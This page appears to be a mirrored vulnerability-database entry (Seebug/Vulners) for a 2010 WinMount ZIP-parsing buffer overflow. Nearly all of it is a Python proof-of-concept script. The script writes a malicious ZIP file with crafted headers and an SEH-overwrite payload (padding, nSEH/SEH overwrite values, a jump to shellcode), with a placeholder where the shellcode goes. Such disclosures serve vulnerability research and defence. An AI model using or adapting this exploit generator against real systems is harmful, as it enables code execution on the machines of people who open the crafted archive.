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WinMount 3.3.0401 ZIP文件解析远程溢出漏洞

🗓️ 21 Apr 2010 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 20 Views

WinMount 3.3.0401 ZIP文件解析远程溢出漏洞 Po

Code

                                                Poc:
import os

sploitfile="test.zip"
ldf_header =('\x50\x4B\x03\x04\x14\x00\x00'
'\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\xd0\xff'
'\x00\x00\x00')
cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14"
"\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\xd0\xff"
"\x00\x00\x00\x00\x00\x00\x01\x00"
"\x24\x00\x00\x00\x00\x00\x00\x00")
eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00"
"\x00\x01\x00\x01\x00"
"\xfe\xff\x00\x00"
"\xee\xff\x00\x00"
"\x00\x00")
print "[+] Preparing payload\n"
size=65484
junk='A'*420
nseh='\x89\x8a\x8b\x8c'
seh='\x84\x5b\xac\x8d'
junk_='A'*33
jumpto='\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4'#make eax point to shellcode \
and jump to shellcode shellcode=("the shellcode here will be changed into \
unicode")#encode by alpha2 junk__='B'*80
last='C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+".wav"
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header
print "[+] Removing old zip file\n"
os.system("del "+sploitfile)
print "[+] Writing payload to file\n"
fobj=open(sploitfile,"w",0)
fobj.write(evilzip)
print "generate zip file "+(sploitfile)
fobj.close()
print '[+] Wrote %d bytes to file sploitfile\n'%(len(evilzip))
print "[+] Payload length :%d \n"%(len(payload))


 				
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lilf
2010-04-17
                              

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21 Apr 2010 00:00Current
6.9Medium risk
Vulners AI Score6.9
20